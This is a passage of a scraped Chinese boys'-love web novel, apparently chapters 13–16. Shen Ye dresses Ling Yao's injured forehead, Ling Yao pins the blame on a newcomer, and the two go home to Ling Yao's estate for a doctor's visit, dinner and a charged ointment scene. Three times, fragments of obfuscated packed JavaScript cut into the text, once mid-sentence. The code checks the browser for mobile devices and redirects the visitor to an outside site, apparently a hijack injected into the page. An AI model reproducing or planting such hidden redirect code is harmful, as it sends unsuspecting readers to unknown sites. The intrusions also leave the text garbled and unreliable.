凌曜抬眼,眉毛一挑,声音里还带着余怒:“等等,你手干净吗?” 那神情,分明像是在审问仆从。 沈野瞥他一眼,把棉签在酒精里蘸了蘸,想递给他:“要不你自己擦?” 说完,还是走到旁边,抽了几张消毒纸巾,把手擦得干干净净,才捏起棉签。 “你砸的,你擦!”凌曜依旧撅起个嘴,一副“你欠我”的神情。 “好的少爷,您可忍着点。”沈野低声嘟囔一句,抬手凑近他额头。 沈野嘀咕一句,凑上前去。 棉签刚碰上伤口那一瞬—— “嘶……!!!”凌曜直接倒吸一口气,漂亮的眉眼紧紧绷住,脸色发白。 “疼也得擦,不然你感染了怎么办。”沈野语气放轻了,“不就一块皮嘛,又不是伤筋动骨。” “你轻点。”凌曜声音发虚,仍死撑着。 沈野停顿一下,认真想了想小时候妈妈怎么哄自己打针,然后低声问他:“……要不要我吹一吹?” “……” 凌曜脸都黑了。 一旁的江乐君实在没忍住,差点笑出声,被肖展颜一把肘子顶回去。 凌曜哼了一声,犹豫了一下,又道:“你继续吧。” 这回,凌曜没再喊疼。 沈野蹲在他面前,动作没那么快了,一点点把棉签蘸湿,避开正中的伤口,慢慢从外沿往里清理。 他目光专注,呼吸绷着,不敢太重,像处理什么易碎的东西。 空气安静下来,只剩下棉签划过皮肤时那种细微的摩擦声。 灯光从球馆顶洒下来,在他额角落下一层浅影。 沈野没再逗,动作慢下来,手指稳得像做外科手术。棉签一点点蘸过碘伏,从外沿往里擦,刻意避开最疼的地方。 球馆的灯光直直打下来,照在他额角的细汗上,也落在他低垂的睫毛间。 那双狭长的眼睛此刻专注得近乎冷冽,线条锋利的下颌因为绷着而更显立体。 察觉到凌曜看着自己的视线,沈野的目光也渐渐移到凌曜的脸上。 凌曜薄唇抿得发白,背板僵直,额头沁出一层汗,顺着鬓角滑落。眼尾泛红,不是哭,倒像被逼得濒临极限。 那股子倔强与脆弱撞在一起,那种淡淡的心软来得毫无征兆。 在他印象里,凌曜一直像高枝上的孔雀,耀眼,骄纵,谁都奈何不了。可这会儿却白着一张脸,硬撑着不肯出声,像一块被打碎的玉。 他忽然意识到,这人其实也没那么不能碰。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16779273|190331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 沈野心里像被拧了一下,手顿了顿,语气也软了下来。 “凌曜,抱歉,我真的不是故意的。” 凌曜眼睛盯着地面,没抬头,赌气道:“我知道。” 他说完顿了一下,又唯恐沈野不知道似的,故意补了一句,“但你就是砸了我,你要对我负责。” “嗯,是我砸了。”沈野没争,干脆认了,换了新的棉签蘸上碘伏,继续动手。 棉签最后一下划过,凌曜肩膀猛地一颤,却没再出声。 沈野飞快地贴上纱布,用指腹稳稳压住边缘。 “好了。” “还疼吗?”他问。 凌曜敛眸,噘着嘴。 沈野侧过头,斜着看了他一眼,低声试探:“疼得不想理我了?” 见他还是不理人,沈野自顾自说下去:“行,那你要实在气不过,我请你吃饭吧。” “或者……你要报复也行,我站你面前,你砸回来?” “我不想动。”凌曜靠着椅背,语气还是很委屈,眼睛却慢慢地看向他,“砸你太麻烦了。” 沈野抿了下唇,挑眉:“那你说,你想怎么办?” 他是真有点内疚了,主要是最近两次把他头磕着,中途还。。。 把他抓去抽了血。 凌曜小时候野惯了,膝盖手肘那种破皮流血的事太多了,甚至还有次跟人打架头撞桌角,缝了六针,自己都没吭一声。 可凌曜不一样,他皮肤白得吓人,哪怕这点伤放别人身上不算事,但放他身上就显得格外刺眼。 凌曜偏过头,目光盯着前方球场,好一会儿才慢慢开口。 “那你别打了。” “什么?”沈野一愣,以为自己听错了。 “我说,”凌曜慢慢重复,尾音拖长。 “你别打啦,就在这里陪我吧。” 带着点不容置疑,又有点像在撒娇。 沈野怔了几秒。 一旁的肖展颜心疼坏了,连忙附和道:“就是啊,你在这里陪着曜曜吧。” 他都这么说了,剩下的人也开始附和,一个劲地把沈野往凌曜那赶。 沈野顿时有点无语。 他这真是搬起石头砸自己的脚,明明想让凌曜增长男子气概,结果把自己锁在冷板凳上了,还得一直陪他。 可那有什么办法呢,人确实是他砸的。 他只得坐在凌曜旁边,手肘搭在椅背上,整个人往后一仰。球馆的冷气顺着他的衣领往下灌,把他衬得更松弛,更性感,像是无意,勾得人眼睛移不开。 旁边的凌曜还是白着一张小脸。 少了两个人,现在球场变成2v2。两人看了一会儿江乐君他们打球,沈野忽然说:“你有点可怜。” 沈野看向他,“跟我打球之前,谁都不敢碰你吧?” “你还知道啊。”凌曜别过脸,眼神里却带点委屈。 “行行行,我错了。”沈野认得干脆。 凌曜额头的刺痛感渐渐缓了,脑子也清醒不少。 他原以为沈野只是嘴上说说要陪他,没想到这人真就跟只护卫犬似的,老老实实坐在旁边。 不知道为什么,凌曜最近觉得…… 好像……沈野比以前更沉稳了。也更像个男人了。 凌曜偷偷瞄了他一眼。觉得沈野这回还挺让着他的。 沈野不知道他在想什么,正半倚在椅子里,肩背舒展开,胸膛随着呼吸起伏。 薄薄一层T恤被拉得紧紧的,胸肌饱满结实,线条从胸口一直延伸到腰腹。 灯光自上而下打下来,把他锁骨与胸膛的起伏都勾得格外分明,带着一种毫不掩饰的荷尔蒙气息。 凌曜喉咙动了动,心口忽然痒了一下。 他明明是想偷看一眼,可触及到那处饱满,视线却像被钉住似的,瞬间就移不开。 呼吸也慢慢乱了。 好想捏一捏,看看是什么感觉。 14. 第 14 章 沈野余光扫到身边的凌曜动了动。 像是往他这边挪了一点,动作不明显,没发出什么声响。但他感觉得到,身侧的空气忽然近了些,温度慢慢爬上来。 沈野皱了下眉,压着嗓子问:“你干嘛?” 凌曜懒懒靠着椅背,脑袋微微偏着,一只手还搭在膝盖上,姿态散漫。 他随口扯了句:“头……有点晕。” 沈野“哦”了一声,没多想,手往身侧椅背撑了撑,挪了一点。 动作幅度不大,像是下意识想离得远点,又不想显得刻意,没躲太开。 他本来想的是,怕被这人讹上,可得离远点。 可那点空出来的位置,恰好给了人机会。 凌曜目光一闪,身体缓慢地往那边倾了倾。 动作很轻,像一只猫蹭过去,一点点找角度,最后脑袋慢慢靠到了沈野肩上。 我靠。 沈野头皮发麻。 他肩膀顿了一下,肌肉绷得紧紧的,简直想立刻把这人的头掰远。 他能感觉到凌曜额角贴着自己肩头,纱布蹭过肌肤,带来一阵细微的摩擦感。那种轻飘飘的触感,像火星落在肩头,烧得慌。 他真想一把把人推开,可余光瞥见那张白净的脸,额头还裹着纱布,一副乖乖装病的模样。 热的,软的,轻的,像一团水汽糊在肩膀上。 他心里有点发毛。 沈野真想把他一把拎起来扔到椅子那边去,又觉得那样好像太刻意了。 身边的人气息均匀,似乎还真有点不舒服,神情恹恹。 沈野生怕自己一动,就又把他哪儿磕了,动都不敢动一下。 只能无语道:“最多给你靠三十秒。” 另一边,正在球场打2V2的肖展颜正好转身回防。 他眼角余光一瞥,动作顿了一下。 他立刻就发现,凌曜靠在沈野肩上! 肖展颜心里一急,立刻往旁边走了两步,打算过去问问,怕他是不是又哪不舒服了。 刚踏出第三步,凌曜那边忽然微微一抬头。 他眉心紧皱,眼神冷得吓人,隔着几米远都让人一激灵,像是在说: “你要是敢靠近,我现在就弄你。” 肖展颜:“……?” 他当场懵了。 站在原地,像被冻住一样。 那点关切全憋回肚里,最后只剩下一句讪讪的:“……好吧。” 肖展颜挠了挠后脑勺,决定还是当没看见,赶紧识趣退回球场继续打球。 凌曜把他赶走了,嘴角不自觉地勾了勾。 受伤的地方贴着他肩膀的位置,隔着纱布,都能感受到皮肤下肌肉的热度,还有随着呼吸起伏的节奏。 沈野还是没动,只是呼吸不那么自然了,像是尽量控制着不让肩膀晃动。 他脸绷着,心里已经在飞速盘算:到底是哪一步出错了,才让事情走到这一步的。 可偏偏又不敢真的甩开。 太子爷受伤刚处理完,就这么甩开,回头要是又告状,凌家能掀他屋顶。 沈野数了三十秒,正当凌曜的头要挪开的时候,“砰——” 篮球馆的门忽然被人推开,一阵风灌进来,凌曜下意识往沈野肩上压了压。 有两个人一前一后闯进来。 “好了好了,别磨叽了,这不就到了吗。” “哟,肖展颜?今天不是周末吗,你也来打球?” 是孙潇桡的声音。 沈野下意识坐直了身。 一抬头,果然看见门口站着两个人。 孙潇桡肩上搭着毛巾,身边还搂着个穿短裙的女生,两人站在球馆门边,说说笑笑。 他一眼就看到沈野,视线扫过来,下一秒就愣住了。 那是谁? 沈野旁边靠了个人,身形修长,皮肤白皙,头发乱着,整个人枕在他肩头,姿态过于亲密。 没看清脸,不过能靠在沈野肩膀的人,还能有谁? 孙潇桡眼睛一亮,一副发现大瓜的样子。 “哟呵!活久见啊,沈野……” 他故意拉长尾音,语气十足的揶揄和兴奋。 “你居然有女朋友了?” 话刚落地,全场一静。 “咚、咚、咚……” 篮球落地的声音格外清晰,在寂静中骨碌碌滚了几圈。 空气骤冷。 沈野眉梢一挑,唇角微微勾起。啧,居然真有人敢在这时候开口。 而他的肩头的人,也在这一秒缓缓坐直了身。 凌曜抬起头。 孙潇桡本就满脸看戏的神情,这下更是屏住呼吸,目光死死盯着,生怕漏掉什么。 然后,视线里逐渐显出一个轮廓。 白得近乎透明的肌肤,眼尾天生带红。 眉骨挺立,鼻梁高直,五官精致得像大理石雕刻。唇瓣抿着,眼尾冷冷往外勾起。 矜贵,秾艳,是标标准准,一眼就令人惊艳的美。 一双眼抬起来,刚好与孙潇桡四目相对。 等看清,孙潇桡脑子里“嗡”的一声,整个人差点没跪下去。 艹艹艹。 这不是,不是……不是太子吗? 他在这里干什么? 他怎么可能靠在沈野肩上?! 孙潇桡脸上的笑顷刻僵住,像被人迎头泼了一盆冰水,腿肚子直打颤。 凌曜脸色难看,眸光一垂,冷冷剐了他一眼。 孙潇桡瞬间心如死灰。 好,明白了。太子在这。 而他刚才管太子叫女朋友。 他死定了。 孙潇桡脑子里轰的一声,魂都快散了:“不是,曜哥,我真没看清,是我有眼无珠,你听我狡——啊不是,你听我解释!” “主要是你靠那儿……不是,我不是说你不能靠啊,靠谁都行!”他急得舌头打结,“我就是没想到你在这儿,我一时……没反应过来!” 凌曜没理他,明显生气了,说:“你今天特别不长眼。” 孙潇桡噎住,讪笑僵在脸上。 他刚要硬着头皮赔笑,余光却不小心瞟到凌曜额头。 瞬间瞳孔一缩:“……你头怎么了?!” 那一小块裹着白纱布的位置格外显眼。 明明几天前过生日时还好好的。 沈野闻言,嗓子“咳”了一声,下意识抬手摸了摸鼻尖,有点不好意思。 他以为自己的罪证要被揭穿,结果没想到凌曜冷冷偏头,唇瓣轻启:“你弄的。” 孙潇桡:“?” “我?” 孙潇桡纳闷了,“我才刚进门啊??” 然后,他一下子反应过来了。这不是故意冤枉他嘛!! 凌曜冷哼了一声。 他一脸“你还想狡辩”的表情,语气直接又随意,好像什么证据都不重要。 凌曜理直气壮,抬着下巴,态度很强硬:“就是你弄的,就是你弄的,你拿球把我头砸破了。” 孙潇桡:“……” 他想哭了,还试图挣扎一下,于是弱弱辩解道:“呃,我怎么觉得你……不太讲道理。” 凌曜直接哼了一声,斜了他一眼。 “我不讲道理关你什么事?我说是你,就是你。” 孙潇桡认命了,立马改口:“好吧,不讲道理的是我,我错了,我不该把你认错,我也不该砸你。” 一旁的肖展颜这时候终于反应过来,一脸无奈地看着他那从小就任性的表弟。 原来你是这么玩的。 合着你不想怪罪沈野,这会儿刚好替罪羊上门,就直接顺水推舟了? 肖展颜再次神色复杂地看了一眼沈野。 感觉沈野这人,运气好到逆天。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16779274|190331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈野敛下眼睛,薄唇轻抿。 重生到现在,他常常觉得自己已经比谁都更了解凌曜,可偏偏在这种时候,又觉得完全看不懂。 所以,这事儿现在,好像也不是我干的了? 这时候,门口那女生翻了个白眼,抱着手冷冷说:“你要是有事就说,我没空看你们在这儿扯。” “没事我就走了。” 说完,高跟鞋一跺,扭头走得干净利落。 孙潇桡急得一跳:“诶诶——我不是故意——” 结果人家连头都没回,风把裙摆一扬,彻底消失在走廊尽头。 孙潇桡眼睁睁看着,大受打击,牙都要咬碎,心碎得稀里哗啦。可一转头,见到凌曜,他那点不甘心瞬间被吓回去,陪笑的脸立马端上:“曜哥……咱有话好好说。过两天我给你送双最新限量版的球鞋,就当我给你赔礼道歉行不行?” 凌曜慢吞吞抬眼,“嗯”了一声,恩准道:“你走吧。” 孙潇桡如蒙大赦,屁颠屁颠去追人。 走前还怯怯地往凌曜那边看了一眼,像是怕他哪天翻旧账。 ------------------------------------- 被他这么一搅,大家也没什么兴致了。 大家你看我,我看你,谁也没再提接着来一局。 凌曜耸耸肩,表情淡淡:“散了吧。” 其他人面面相觑,识趣地收拾东西,陆陆续续撤出球馆。 沈野提着水瓶正打算走,背后却传来一道声音。 “你等一下。” 他脚步一顿,回头:“干嘛?” “你得跟我一起回去。”凌曜说得理所当然,连语气都没起伏,完全不像在商量。 沈野挑挑眉:“我?” “你觉得呢?”凌曜抬眼看他一眼,不高兴道,“我额头这事,家里人肯定要问,管家问,医生也问。我得有人作证。” 沈野:“……” 凌曜随手把外套搭在手臂上,慢悠悠补了一句:“反正你又不是没来过。” 这话,意味深长。 沈野神色动了动,没说话。 其实他说得没错。凌家那地方他太熟了。以前住过,吃过,甚至连花园哪棵树结哪种果实,他都能闭眼说出来。凌曜不是胡扯,今晚这情况,他真要不露个脸,第二天能有一堆人找上门。 沈野叹了口气,认命般:“成吧。” 他低头把裤子上的灰拍了拍,随手接过凌曜递来的外套,肩并肩走出球馆。 门外此时已经停了辆低调奢华的黑色宾利。 司机穿着笔挺西装,见他们出来,立刻恭敬地下车,快步绕到后门,拉开车门,姿态低得近乎恭顺。 凌曜没说话,直接坐上车。 沈野从容跟上,车门“啪”一声合上,挡住了外头的风。 车厢里灯光柔和,隔音极好,司机开得也稳稳当当,一时间还有点困。 凌曜靠在真皮座椅上,眼睛半阖着,指尖无意识摩挲着膝盖。忽然,他没头没脑冒出一句:“这个车,可以把挡板升上来。” 沈野抬眼看去:“……嗯?” 哪来的挡板。 凌曜没解释,只是抬了抬眼,声音仍旧散漫,伸出修长的手指随意一指:“按键在那儿。” 沈野顺着目光看去,果然在中控位置有个小巧暗钮。他只觉得凌曜思维跳脱,忍不住问:“升这个干嘛?” 凌曜没再说话,漂亮的眼睛挪开。可他眼尾低垂,指尖轻轻一扣,心里却在想…… 如果挡板升起,他们就能和司机彻底隔开。 一旦封闭起来,没人会看见,也没人会打扰。 沈野当然不懂他这点心思,只觉得对方又在莫名其妙。 车厢里再次安静下来。 凌曜慢慢别过头,盯着窗外漆黑的山林,眼尾泛着一点薄红。 15. 第 15 章 车子沿着盘山道缓缓驶上去。 这一片是C市南郊的半山地段,地势极好,整片山腰被凌家买下,修了成片庄园。外围的松林和银杏树密密匝匝,隔绝喧嚣,夜色里静得仿佛一片独立出来的世界。 绕过一弯一弯的石砖路,黑色宾利终于驶到主宅门口。 远远望去,那栋宅子并不张扬,不过处处透着低调的奢华。 大面积的落地窗,屋檐挑高到极致,墙体线条利落,灯光从地面一路亮起,像为主人铺设的仪仗。 台阶前,老管家早已候在那里。 那是郑叔,凌家倚重的老人。 郑叔穿着深灰色家居西装,身形笔挺,银丝头发一丝不乱。脸上的皱纹已经比前几年多起来了,自带一种庄重气息。 他在凌家已经二十多年,从凌曜还是小少爷时便跟在身边,可以说看着他长大的半个亲人。 外人见到他都得恭敬喊一声“郑管家”。 但在凌曜面前,他始终弯着腰,态度谦和得近乎恭顺。 “少爷,您——” 话没说完,他目光一扫,立刻瞥见那道显眼的纱布。 郑叔脸色骤变,声音不受控拔高:“少爷!您这是怎么了?受伤了?!” 凌曜面无表情,手一抬,漫不经心:“没事。” 郑叔看了他额头一眼,那块贴着纱布的位置虽然不算大,但很显眼,怎么看也不像没事。 好好的人,出去还是完好无损的,怎么回来就受伤了呢? 老管家很是心痛。 “少爷,实在抱歉,请务必告诉我,这是怎么回事?我必须立即向老爷汇报。” 凌曜耐性显然有限,眉心一拧,头一偏:“打球,砸着了。” 郑叔神色更凝,直直看向沈野:“请问,是谁砸到少爷的?” 凌曜直接回答道:“孙潇桡。” 沈野站在他后面,拎着外套,脚下一顿。 “那个……”他斟酌了一下,张了张嘴,“其实是——” “我刚说了,”凌曜不紧不慢地回头看他一眼,眼神带着点不耐烦,“孙潇桡。” 他瞳孔颜色很浅,在黑夜幽幽发光。 像是在警告他,其实也是把他护在身后。 沈野愣了下,喉咙里的话没说出口。 郑叔眼神在两人之间转了转,忽然收起凌厉,淡淡一笑:“原来是孙家少爷啊。” 语气温和,像什么都懂了:“那我立刻向老爷回报,让他安心。” “嗯。” 凌曜应了一声,语气淡淡的,自带一种高高在上的倦怠。他径直跨进屋,漫不经心,像从小习惯被所有人顺着。 沈野站在原地,看着他那背影,心里忽然生出一种古怪的感觉。 他好像成了太子的共犯。 沈野清了清嗓子,问:“你爸呢?” 虽然已经很久没见凌叔叔,在别人家做客,第一时间问候长辈是本能的礼数。 凌曜脚步没停,语气懒懒的:“不在家。” 他微微偏过头,眼尾冷白的弧线在灯下闪了下,淡声道,“你知道的,他很忙。” 沈野“哦”了一声。 没多久,家庭医生已经快步赶到。 这人年纪不大,戴着金丝边眼镜,一身笔挺西装,气质斯文冷静。 别看他年轻,却是业内有名的医学院博士,曾在欧洲进修过,拿过几个国际协会的奖项。因为资质出众,被凌家签下十年合约,专门驻在C市,随时待命。 他手里提着一个皮质急救箱,动作利落,管家郑叔正亲自领着他上楼。 郑叔在凌家待了二十几年,几乎看着少爷从襁褓长到如今,清楚得很。 这位小少爷是老来得子,又天生体弱,小时候几乎是三天两头要请医生。 凌家上下捧在手心里,生怕哪天磕了碰了。 也正因为此,家里医疗水准向来顶尖,随便一瓶药,都是外面难求的稀罕物。 郑叔一边走,一边低声交代:“伤口位置在额角,靠近眉骨,得小心点,不能留疤。” 医生姓林,闻言点了点头:“我带了新的抑疤药,五毫升装,欧洲特批。” “好。”管家回头吩咐阿姨,“麻烦准备点热水,清理工具也放进去。” “多少钱?”沈野站在楼梯口,忍不住问了一句。 林医生愣了愣,像没想到他会插话,随后淡淡答:“三万。” 沈野下意识低头,看了眼自己胳膊。 刚才还蹭破了块皮,身上的旧疤更是多。不过他从来懒得管,男人嘛,哪会担心留疤? 主要是,男人本来就容易磕磕碰碰的,有点疤痕太正常了。 沈野挑眉,发觉凌曜比他记忆中还要娇气。 —— 客厅。 凌曜坐在沙发,靠着软枕,侧脸映着暖光。额角纱布拆开后,周围一圈泛着细细的红痕,衬得那张脸更白,几乎透出薄瓷的质感。 医生蹲下身,手法极轻地拨开纱布边缘。 凌曜没出声,但眉心明显一蹙。那双细长的睫毛微颤,投下一小片阴影,看得人心口一紧。 林医生语气温柔,几乎像哄小孩:“少爷,忍一下,马上好。” 沈野倚着门框,嘴角忍不住一抽。 凌曜是在拍护肤品广告,还是在抹药啊? 二十二岁的男人了,还这么娇气,上个药居然还要人哄着。 这人皮肤白得晃眼,眉眼精致得过分,连皱眉都带着股天生的矜贵气。偏偏这伤口还长在眉骨上,显得格外扎眼。 医生又拿出一支小巧金属瓶,拧开盖子时都格外轻手轻脚:“这个药比较稀,避光保存,十天内早晚两次,不得间断。” “还有,”他补充道,“这段时间不能剧烈运动。” 沈野若有所思。所以接下来,凌曜不准打球了? 行吧,他掰直太子的篮球计划,才实施第一天就凉了。 这运气,着实有点背。 他扭头看了眼凌曜,刚想开口说点什么,就对上对方凉凉的一眼。 “你看什么?”凌曜问。 沈野顿了一下,勾了下嘴角:“没什么,就觉得不该带你去打球。” “……” 等医生收拾完,沈野以为差不多该走人了,刚往外挪了半步,凌曜忽然开口:“留下来吃晚饭。” 语气淡淡的,听着不是商量,更像是一道命令。 沈野愣了下,抄着手道:“……我就不打扰了吧。” “打扰什么。”凌曜哼了一下,有点不高兴地接了句,“你把我砸成这样,现在拍拍屁股就想走吗?” 沈野:“?” 刚刚不是说不是他砸的吗。 正好沈野也饿了,他也没推拒,干脆吃了饭再走。 餐桌上只摆了两碗热气腾腾的鳝鱼面,外加一盘青笋炒肉片。意外很家常。 不过味道很不错,鲜香可口。 凌曜尝了一下嫌面汤太烫,先推到沈野面前:“你吹凉了再给我。” 沈野愣了两秒,撇嘴道:“……你不嫌脏啊?我吹凉了不就是沾我口水了吗?” 凌曜眼尾一挑,嫌弃又别扭地“啧”了一声,声音带着点撒娇的拖腔:“我才不管,你少废话,快点。” 沈野被噎了一下,挑眉冷笑:“我看你懒得动嘴吧,干脆让我嚼烂了喂你好了。” 凌曜被呛得眼尾一挑,气得直瞪他:“沈野,你就不能好好说话?” 两人一来一回,针锋相对,屋里火药味一下子被点燃。 偏偏这时候,郑叔正好进来看自家少爷吃得怎么样了。 看见两人剑拔弩张,他愣了下,以为是饭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16779275|190331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菜不合少爷胃口,连忙赔笑:“要是不合口,厨房还能再做,您别跟沈少置气。” 沈野:“……” 凌曜立刻顺杆往上爬,把碗又推回沈野面前,仰着下巴理直气壮:“听见没?人家都怕我饿着,你还磨磨蹭蹭。” 沈野低头看了眼那碗热气腾腾的鳝鱼面,嘴角抽了抽。 “郑叔,麻烦您拿个小风扇来吧。”他慢悠悠开口,“这位少爷嫌烫,不想吃。” 郑叔愣了一下,意识到是自己工作失职,忙道:“好,我这就去找。” 凌曜闻言,眼睛一睁,先是不可置信地看了沈野一眼,接着咬着筷子气呼呼:“沈野,你就会拆我台!” 沈野摊开手,一副无辜模样:“我就是怕你金尊玉贵的嘴烫坏了。到时候留疤可不是抹点药能好的事。” 凌曜气得把筷子一拍,偏偏没什么威慑力,反倒显得更娇蛮:“闭嘴!我又没说不吃。” 等郑叔真把风扇拿来,凌曜才哼哼一声,低头老老实实吃面。 沈野吃完,正打算起身,说了句“我该走了”,结果凌曜不依不饶:“你给我上药了再走。” 语气理直气壮,带着几分命令,可眼睛却亮晶晶的,看得出底子里就是不想让他走。 沈野被堵得无话,心里暗叹一声,还是跟着他上了楼。 凌曜回家习惯先洗澡,沈野等了他一会儿。 过了约莫半个小时,沈野换了双拖鞋,一路踩着软毛地毯,走到三楼最里面那间房。 门刚轻轻推开,一股淡淡的焚香味就从里头逸了出来。 那是种带微凉感的香气,像青柏混着柑橘。 第一口冷调,后调却若有似无地掺了点龙涎香味,温热得有些暧昧。 他下意识停了一下。 屋里开着灯,不过不是很亮。 凌曜没有开主灯,而是打开了一盏低矮的落地灯,制造出一片朦胧暧昧的氛围。 他随意穿着一件薄料开衫,浴袍款,料子轻软到几乎半透明。 领口敞着,只扣了两颗扣子,露出锁骨和胸口一段漂亮的线条。袖口宽松,举手投足间,总会不经意滑开,露出白皙结实的手臂。 沈野一眼扫过去,眉心猛地跳了一下。 靠。 没想到这小子,身材还挺好。 他忍不住在心里骂了句。 “……你这装扮,是准备敷药,还是准备拍封面?”他走进去。 凌曜懒洋洋偏过头看他,唇角微抬:“你来了。” 沈野“嗯”了一声,没动。 他站在门口,看了一圈房间。 这地方,比他那间大好几倍。 深灰石膏线、全实木地板,窗帘是带着暗金纹路的定制款,连挂画和书柜摆件都一眼贵得离谱。 他在凌家住过一段时间,记得凌曜房间的确挺大的。 可是怎么比记忆里还要豪华? “……凌曜,你这屋是卧室吗?”沈野很是咋舌。 “我怎么感觉自己进了哪个高级酒店的套房。” “你说得太夸张了。”凌曜无所谓道,“我之前也不住这里,在你来我家住之前,我也住你那个房间,后来才换。” 沈野没想到还有这茬事,无语地回了一句:“你家这么多房间,干嘛非给我你以前住过的。” 沈野转头一看,窗边点着烛台,摇曳的火光混着香气,带点暧昧的甜意。他皱眉:“你平时晚上都这么搞?灯光烛台一整套,挺讲究啊。” 心里悄悄咪咪扣分。 他也太gay了。 直男的房间,才不会稿这些花里胡哨的东西。 “偶尔。”凌曜随口说着。 香是刚才点的,灯是刚刚特意调过亮度的,连那台音响也是三分钟前连了手机在播钢琴曲。 可惜只是对牛弹琴。 16. 第 16 章 沈野全然没往暧昧上想,只闷头记得自己来干什么。 他从善如流地走过去,坐在凌曜面前,把摆在桌上的药拿在手里,准备敷药。 沈野低头拧开瓶盖,把药膏挤到指腹上。 他没直接上手,而是斜看了凌曜一眼:“你头过来点。” 凌曜抬了抬下巴,靠了过去。 沈野小心地伸手过去,温热的掌心落在凌曜额角,指腹沾着药膏的那只手轻轻碰到皮肤。 皮肤凉白细腻,近在指尖,好像一碰就能碎。偏偏那道伤在眉骨边,位置尴尬,他只好小心绕开,在周围慢慢打圈。 动作很轻,很慢。 凌曜没吭声,睫毛一寸寸垂下来,像羽毛刷过眼下。呼吸不知不觉浅了些,喉结跟着轻轻滚动。 离得太近了。 沈野这才看清——凌曜那件睡袍根本没系好。 布料松松垮垮地搭在身上,从锁骨一路敞开到小腹,胸肌线条若隐若现。 肩膀结实,腹线干净利落,不是纤弱的少年身子,而是成年男人的劲道和力量感。 偏偏皮肤又冷白得过分,像雕刻出来的玉,灯光勾勒下,每一处线条都带着惑人的暧昧。 沈野指尖微微一僵,眼神忍不住往下扫了一眼。 他真没想到,凌曜看着娇气矜贵,身体竟然这么好看。 肩膀宽阔,腰线收得漂亮,肌肉紧实而不夸张,恰好是最惹人眼的比例。 沈野自认是直男,不过,这种近乎完美的美感就在眼前,他还是忍不住多看了几眼。 凌曜注意到了。 那人睫毛轻颤,似笑非笑地盯着他,忽然微微往后靠了下。 松垮的睡袍顺势滑落得更开,锁骨到胸肌的线条彻底暴露在暖光里,冷白皮肤衬着暗色布料,暧昧得过分。 “沈野,”他慢悠悠开口,声音带点鼻音,“你是不是在看我?” 沈野心口一噎,撇嘴冷哼:“想多了。你赶紧别乱动,再乱动,你药全白上了。” 凌曜想想也是,沈野可以之后再逗,但留了疤就真的不好看了。 他嗅着沈野身上那干净清爽味道,忽然问:“你是不是……很久没进来我房间了?” 沈野手势一顿,低头看了他一眼。 “高中之后就没怎么来了。”他说得很随意,“你那时候老关门,还贴纸条写‘请勿打扰’。” 凌曜没反驳,只道:“我那时候不太想见人。” “你现在也没多爱见人。”沈野凉凉顶回去。 “沈野。” 凌曜忽然出声。 沈野“嗯?”了一声,没抬头。 “你小时候,”凌曜慢慢说,“是不是也这样给我上过药?” 沈野停了一下。 “…有吗?”他皱了皱眉,“不记得了。” 凌曜没再逼问,只是睁着眼,目光寸寸描摹着他的眉眼。 他又慢慢吐出一句: “你小时候对我很好。” “可你现在呢?我回国了,你却一次都没主动找过我。我的生日会,你迟到,还要江乐君去请你。吃顿饭你要带其他人来,搞得我像随便谁都能替代的样子。” “打个篮球,你非要拉我上场,结果呢,你还害得我受伤了——哦对,明明是你把我送到酒店的,但我头撞了大包,要你负责,你还给我拉去抽血。明明我那么害怕医院。我受伤了你也没有哄着我,也不说好听的话。” 他掰着手指一件一件的数,沈野这次抬起了头。 “你到底想说什么?” “哼……” 凌曜没再嚷嚷,而是侧身趴倒在沙发靠垫上。 他一只手随意垂下,整个人窝进软垫里,将半边脸都埋进胳膊弯。 眉眼被胳膊和浴袍遮住一半,只露出那双眼睛,委委屈屈地斜着看他。 像个受了气却又死不认输的小孩。 声音闷闷地从臂弯里溢出来:“我就想说……” “你现在,对我很坏。” 两人的视线对上,凌曜睫毛颤了颤,眼神清浅,压不住那点隐隐的委屈与难过。 沈野心里一顿。 可并不真平静。 他记得很清楚,凌曜不是一直都这样的。 小时候还会乖乖叫他“哥哥”,跟在后面要抱抱要糖吃。 可一到青春期,这人就跟变了一个样,对他颐指气使,开口闭口直呼其名,动不动翻脸。 他沈野又不是抖M,更没什么受虐癖,被这样呼来喝去,他凭什么还要往前凑? 更别提,当年微信拉黑,还是凌曜先动的手。 沈野没想到自己会在此刻想起那件事,心口不由自主揪了一下。 ……他其实有点在意。 他看得见凌曜蛮不讲理的难过,不过此时此刻,还是选择装作没看见。 于是沈野低下头,掸了掸指尖的药膏,淡声道:“药干了。” 他起身时,目光随意一转,瞥见药盒放反了,标签朝里。 “你这药要避光保存,别放窗台边。”他顺手摆正,又看了眼室温计,补了一句,“中央空调别开太低。” 一连串细节处理得像理所当然,随手,细致周到。 